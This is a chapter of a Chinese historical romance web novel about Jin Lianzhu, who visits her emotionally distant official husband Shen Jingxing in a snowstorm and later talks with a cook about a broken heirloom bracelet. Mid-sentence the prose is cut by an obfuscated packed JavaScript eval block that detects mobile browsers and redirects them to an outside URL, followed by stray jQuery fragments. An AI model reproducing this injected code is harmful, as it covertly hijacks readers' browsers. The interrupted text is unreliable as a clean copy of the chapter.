然而，拥有“好福气”的人好像没这么想。


    但见沈敬行冷静自若，看似全无动容，静待靳连珠拂去他睫毛挂着的雪花，开口便是一句毫无感情的责怪：“风雪太大，山路陡峭险峻，你不该来。”


    旁边被郎情妾意场面羡煞的几位大人闻言，俱是面色一变，忙不迭替沈敬行这个没情-趣的木头疙瘩找补：“哈哈...小沈大人莫不是见到夫人心中过分雀跃，连话都不会说了。”


    沈敬行蹙眉：“我没...”


    康汾强硬地截断话茬：“小沈大人成婚后，倒也学会关心体贴了。只不过，这语气或言辞还需斟酌一番，亏得沈夫人明事理、性温和，换个人恐怕就得当场闹起来了。”


    声一落，其余的人皆哄笑不止。


    或促狭，或调侃，或艳羡。


    并无恶意。


    靳连珠倒没介意沈敬行所言，他惯来如此坦率，又不独独冲她一人。


    只是她方才太着急沈敬行，反而忽略了几位大人们，这会儿急匆匆想补上礼，可身子冻僵了，膝盖根本弯不下去，整个人一晃，眼瞅就要栽入雪中。


    “当心。”沈敬行眼疾手快地拉住她。


    惊慌失措之际，靳连珠顺势握住他的小臂，整个人儿轻飘飘落入他怀中，一双被冻红的柔夷攥紧他官服衣袖，生生掐出几道褶皱。


    二人的距离猛地拉近，沈敬行听见一声微不可查的娇吟，遂低头，这才发现靳连珠的装扮一改往常简朴，捻金雪柳，尤其乌发间那枚胡蝶钗子，随她往前扑倒的动作也在抖擞翅膀。


    “花样妖娆柳样柔，眼波流不断、满眶秋”。很没道理的，沈敬行脑中突然蹦出这么一句，随即反应过来，大庭广众之下，他委实不该这般肖想女子。纵使，怀中的娇娇儿是他娘子。


    简直浪荡、荒谬至极。沈敬行狠狠的自我唾弃一番，扶着靳连珠的手指蜷缩起来，不小心勾住了她腰间的玉环绶。这下好了，方才的努力付之东流，复又勾起涟漪阵阵，无限旖旎心思挥之不散。


    靳连珠打小就畏寒，这遭出门之前，特地将出嫁时候带来的大红貂皮皮氅穿上了，可谓打扮得极其厚实。


    未料到沈敬行劲儿会使得如此大，隔着衣裳仍掐得她生疼，靳连珠担心人前失态，方漏出一个音便死死咬住嘴唇憋回去了。


    从沈敬行的角度，只能瞧见靳连珠逐渐涨红的耳根，姿色相较雪地里的红梅更加娇妍。


    他愈发心猿意马，喉结生涩滚动，怀疑是来时路上灌入冷风导致的，幸而呼啸的寒风遮掩了他沙哑的声调，没叫靳连珠发觉他的失措。


    可，总这么抱着也不是个事儿。


    沈敬行俯身，凑近问：“崴到了？”


    热气喷洒到靳连珠耳畔，激得她神思荡漾，脸颊的颜色更浓了。


    靳连珠心道：这趟果真来对了。成婚一载，还是第一回见官人肯在人前跟她这么亲昵，想必是被她冒雪前来送温暖的行为感动坏了。


    靳连珠强压住女儿家的羞怯心事，不自觉掐着一把嗓子，跟撒娇似地拽着音调诉苦：“裙摆太长，我不小心踩着了。”


    沈敬行一言不发，一味将脊背弯的更低，帮忙整理繁琐罗裙。


    跟在后头的那几人还念叨着“雪天路滑、小心行走”“早知如此，便晚些时候再来巡视了，赶上这么大的风雪，迷了眼，实在危险”“稍候得让小厨房熬制姜汤，祛一祛寒”云云。


    忽而，康汾就近拐了一下那位喋喋不休的礼部大人，他一停，其余的也跟着停了，又见康汾努努嘴，众人齐刷刷向前望去。


    大地尽白，漫天大雪点点扬花，片片鹅毛，徐徐落至沈敬行官帽、肩头，他全然不觉，垂首睨着自家娇小娘子，眉头轻蹙，似是怕极了她会受伤。接着，他凑近同她交谈几句之后，伏低身子去摆弄衣裳。


    明眼人都瞧得出来，沈敬行满身的才华与能力，唯有放在官场之上才发挥的出来，至于风月事，他全然不懂，如同一张白纸。


    说难听些，对沈敬行而言，这婚结了也是无用，他照样一对上跟女儿家相关的事儿就变得束手无措，再加之积雪阻碍视线，他只得茫然的到处摸索，半晌天也没理明白一层又一层的裙摆。


    靳连珠没催，提起一侧的大氅为沈敬行遮挡风雪。


    康汾及其余的大人们却误认为沈敬行要将娘子抱起来，个个儿眼睛瞪得堪比铜铃。


    雪大风大，不良于行，再者说，抱得乃自家娘子，有何不可？被瞧去，只会让人觉得这对年轻夫妇恩爱非常，艳羡还来不及呢。


    偏偏，那位是沈敬行。


    他素来是个温吞克己的人，纵然成婚了也不见改一改心性，整日冷着一张俊脸，让人望而却步，寡淡的仿佛是个不闻世间俗事的谪仙。


    于公事上，他便更加冷静理智了，屡屡碰见几回火烧眉毛的情况，仍能稳如泰山思忖对策，不过十七八岁的少年郎，却将工部管得井井有条，下属们待他无有不佩服的。


    手段和心机不可谓不厉害。


    难得见一次沈敬行外溢情绪，还是为了他那位美若天仙的娘子，谁能忍得住不凑热闹。


    可惜，紧接着并未发生众人喜闻乐见的画面。


    待裙子整理好了，沈敬行毫不留恋地抽身，接过引路小厮递来的伞，为她挡去大雪。


    靳连珠本欲用帕子帮他擦净沾满手的雪霜，见他有意回避，也不好当着外人的面胡搅蛮缠，免得被他们看去笑话，只是心底刚泛起来的那点柔情蜜意顷刻间消失殆尽。


    回茅屋的路途不远，无奈太难走了。引路小厮担忧贵人们的安危，非得上前去把路踩实了再折返带他们。这样一来一回的，硬生生拖长了双倍的时辰。


    靳连珠跟沈敬行挤在同一把伞下，空间狭窄逼仄，然而，她盼了又盼，他再也没有表露过搀扶她的意思。


    每回靳连珠被风吹得踉踉跄跄，想靠住一旁的沈敬行，皆被他不动声色的避开了，放任半边身子露到伞外，落雪化水打湿肩头也浑不在意。


    暗地里避让到这份上，就算靳连珠再心怀爱慕，也绝非蠢笨之人，怎会不了解他的想法。她揪着他衣袖边沿的手指一节一节松开，滚烫的泪珠子从眼眶里打转，心跟身体一样冷得厉害。


    原本走在后头的康汾与礼部另一位大人赶上来，跟沈敬行商量待会议事的内容。有外人在，靳连珠只得敛了万千愁绪，咬牙将一堆委屈咽回肚子里，硬着头皮向前赶路。


    提供给官员们休憩的屋子不止一间，分布比较零散罢了。


    沈敬行住在最北边，即离祭坛最近的那间，很快便到了。


    屋中提前烧了炭火，窗牖关得严实，仅留了一条缝隙透风，推门进去就觉暖烘烘的。


    白芷赶紧将手炉塞给靳连珠，卸下厚重的大氅，挂去架子上用掸子扫掉还未消融的雪花，纳闷：“娘子此番前去，没寻到家主吗？”


    良久，没回音。


    白芷奇怪，扭头看去。


    烛火葳蕤，靳连珠背对她坐在矮几上，伸出两双被冻得红通通的手置于火炉上烤着取暖，乍看之下没什么可疑，但白芷到底跟了她这些年，对她有十万分了解，当即便觉得不对劲，急匆匆上前查看情况。


    万万没料到靳连珠已经红了眼眶，泪珠充盈在眼眶里要掉不掉的，下唇清晰印着一排齿痕，是她自个儿狠心咬出来的，泫然欲泣的模样好不可怜。


    白芷鲜少见靳连珠哭，骇了一跳，忙问：“大娘子可是跟家主起争执了？”


    靳连珠一味摇头，铜盆里的火焰烤得她双眼发烫，泪水逐渐蒸发，可繁杂心绪难以平复。


    无法讨得官人欢心这等事儿要如何与外人道，况且，白芷还是个姑娘家，就算听了也未必能解她的困惑。


    靳连珠郁闷难消，想法一时偏激了些，只当自己因为官人主动向婆母开头讨要管家权一事，过于开怀就昏了头了，今日上赶着来献殷勤，不知官人会不会恼她耽误他的正经事。


    话又说回来，就算被留在皇宫大内当差，家眷也可递了帖子前去探望。她这般行事并未坏了规矩，官人究竟为何看上去不情不愿的呢？


    难不成，是他不想看见她？


    那日曲莲的言语犹在耳畔，靳连珠心烦意乱的，很难不往那方面去想。


    她从袖中抽出帕子胡乱擦拭掉脸上并不存在的泪痕，强撑起精神，摒弃那些乱七八糟的想法，询问：“从家里带的那些吃食呢？”


    见她不欲多言别的，白芷没再追问，答曰：“已经交给小厨房了，厨娘热过了就送来。”


    这地方还有专门搭建的小厨房？


    靳连珠以为大人们都到附近的佛寺中吃斋饭，遂问：“在哪儿？”


    “绕过前头的大石桩子，小径岔口右拐便是了。”白芷站在窗边给她指明方向，所幸距离不算远，门口挂着火红灯笼，极易辨认。


    靳连珠穿上大氅，撑起伞外出。


    白芷不放心，刚打算跟上却被拦住：“你留在屋中守着罢，我去去就回，不必担忧。”


    “可...”


    白芷阻拦不及，眼瞅着她迎着漫天风雪，一步步消失于视野之中。


    ——


    厨房内烟雾缭绕，门开了半扇，隔了老远就闻见从里头传出的香味。


    靳连珠深一脚浅一脚地蹚过雪地，鞋袜及裙摆全湿了，她没法子，只得强忍着，想着待会儿在炉前烤烤火能好一些。于是收起伞立在墙边，赶紧叩门入内。


    灶前仅厨娘一人，是从山下一家百姓家里寻到的婆子，姓黄，名不详。黄婆子年轻时曾在魏济府内做工，见过不少高门大户的夫人、姑娘，练就了几分眼力见儿。


    听闻今日工部那位沈尚书的家眷上山探望来了，黄婆子先前见了他家的女婢，再一瞧眼前这位貌美的娇娘，一时琢磨不定到底是何身份。


    若说是沈大娘子，衣着打扮未免过分朴素，虽生得有倾国倾城之色，可眼眸脉脉含情，平易近人，丝毫不见富贵人家高傲的气度，再加之，她独自冒雪到后厨温热食物，身旁无人跟随，更不似那些娇生惯养、十指不沾阳春水的贵女作派。


    黄婆子飞速瞄她一眼，内心盘算着，前头来得人只说是“沈家的家眷”，却并未指明来者究竟是不是沈大娘子，美妾或贴身伺候的女婢也未可知——


    她从前在魏济府讨生计的时候，见过不少妇人为了充门面，外出之时特地带上美貌的女婢，或让她们打扮得光鲜亮丽，却又不至于争去风头。


    不过，这位长得如此娇妍，身段弱柳扶风，放眼整座永平城内也当属佼佼者，女婢怕是不可能了。


    保险起见，黄婆子没敢私自定下结论。


    她腆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001097|161771||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着笑脸凑近问：“娘子可有需要帮忙的地方？”


    “没，这些小活我自个儿就能做。”


    靳连珠察觉到黄婆子从旁窥探了有一阵子了，猜她应该是好奇自己的身份又没胆子直戳了当地问，于是报以和善地微笑，顺手从锅里舀了一碗姜汤递过去：“婆婆坐下歇会儿罢，午饭不急于这一时。前头大人们正在议事，没个把时辰结束不了，等我这边热好汤饭，你再忙活也不迟。”


    “哎...哎。”黄婆子欲接过碗盏，突然想起自己沾了满手的油污，忙从围裙上仔细擦了擦，小心翼翼避开对方那双凝如玉脂般的柔夷，心下也有了定论。


    靳连珠见黄婆子要躲去门边用汤，即时出声：“那儿太冷了，不如守着炉子烤烤火，否则姜汤喝了也是白喝。”


    她皮囊极美，嗓音婉啭，火红大氅衬得她肌肤白似雪，炉内熊熊燃着的火光映着她更添一份风情。


    黄婆子见了心生亲近之感，连连答应着，顺从坐到她身侧的竹藤椅上。


    靳连珠从心底计算着时辰，以免把汤热干了，耳朵敏锐地捕捉到一声脆响，随即看过去。


    黄婆子满脸紧张地摘下腰侧的囊袋子，里头装着一堆碎了的玉块儿，却被她当作宝贝似的。


    瞅见这些碎块的状况没变得更糟，黄婆子不由得松了一口气，转头对上靳连珠探究的目光，她不好意思地笑了笑，满脸的褶皱挤在一起。不知想到了什么，使得她的表情瞧上去有几分甜情蜜意。


    旁人的私事，靳连珠素来是不会越界打听的。


    不料，黄婆子心眼实，竟主动的都交代清楚了：“这玉镯乃祖传的物件，虽成色不佳，但胜在意义非凡。年前收拾屋子的时候，我不小心把装玉镯的木盒摔到地上，就成了这样子。亏得我那儿媳是个见多识广的，知晓山上住着一户姓周的人家，独有修玉镯的手艺。待忙完差事，我过去碰碰运气。”


    靳连珠了然，想起这山中的形势，不免担忧：“怎不叫家中爷们儿去办？”


    “修缮祭坛需要人手，我官人和大郎都在这儿。这点小事还用不着使唤他们，万一耽误上工就坏了。”顿了一顿，黄婆子又说，也不止这一层原因。


    他家虽是普通人户，过得清贫了一些，但却十分满足幸福。


    黄婆子只有一个儿子，又是老来得子，不过从未娇生惯养，早早就让他外出做工历练，待他攒了些银子，去年年初便同隔壁家的姑娘成了婚。


    两家乃旧交，情谊非凡，再加之这对新人有青梅竹马的情分，相互扶持着过日子，可谓恩爱非常。


    没多久，儿媳便有了身孕。


    郎中道她身子太弱，要想保住头胎，需得精心养着。


    黄婆子不知从哪儿听说，玉最养妇人的精气，不论花捎多少银子、消耗多少力气，也得把祖传的宝贝修复好了。


    不知怎的，靳连珠听罢，竟觉得有些羡慕。


    她下意识摸向腰间，仅一枚亲手绣的香囊，手腕上空空如也，浑身上下，也就鬓间的发饰还值几钱。


    放眼整座永平城，哪有一家官眷穿得像她这般寒酸，难怪黄婆子迟迟不敢确认她的身份。


    纵使沈敬行曾有言，让她不必遵循他那一套规矩，可她焉有不顾他的道理？


    反倒是他，从不明白“夫妇一体”的含义。


    思及此，靳连珠舌尖又是一阵酸涩，仿佛吞了几斤重的黄连。所有繁杂思绪齐齐涌入心头，化作潮湿的泪意模糊眼眶。


    察觉到情绪将要失控，靳连珠深吸一口气，猛地站起来，把黄婆子吓了个激灵，赶紧放下碗盏也跟着起身帮忙，将温好的饭菜一样一样放入食盒，又点头哈腰的将她送至门口。


    靳连珠惦记着方才跟黄婆子的谈话，不知道生的哪门子执拗，就想着能不能帮衬一把。可转念一想，她的境遇也没好到哪儿去，仅仅是外表瞧着光鲜亮丽罢了，容不得她打肿脸充胖子。


    于是，千言万语化作一声悠长叹息。


    靳连珠拾起门边的伞，抖了抖上头的落雪，撑起之后转身去接黄婆子递来的食盒。


    恰在此时，有只手横插过来截了胡。


    这片刻功夫，靳连珠的鼻子已经被漫天风雪冻得失去嗅觉，尽管如此，她仍感觉到有一股似有若无的竹香萦绕身侧。靳连珠一愣，稍稍抬起伞沿，果不其然瞧见沈敬行。


    他来了应有一会，不知为何没进屋，只在外头等着。


    大雪落满了伞面，随着他的动作簌簌往下掉。


    沈敬行从袖兜里掏出一枚玉镯，递到黄婆子面前，“祖传之物自然要修，可要想给妇人养身子，还得用成色上佳的玉石。这只玉镯是大娘子逛街时买下的，花纹朴素，质地通透细腻，念你、你家的男丁在修缮祭坛一事之上出力不少，便赏给你了。”


    黄婆子受宠若惊，不停偷瞄靳连珠的脸色，在她发话之前不敢伸手去接。


    靳连珠箱奁中有什么物件，自个儿清楚得很，这只玉镯不知道是谁的，事情必然也是沈敬行瞎编的，她一时惊讶，素来正直到近乎顽固的沈敬行竟也学会扯谎那套了，紧接着就瞥见他因口出妄言而羞愧逐渐涨红的耳廓。


    靳连珠眼神虚了一瞬，便觉心口酸酸涨涨的疼。她强硬的将玉镯塞入黄婆子手中，拍了拍她干枯如树皮的手背，表情似安抚亦似怅然，轻道：“收下罢。”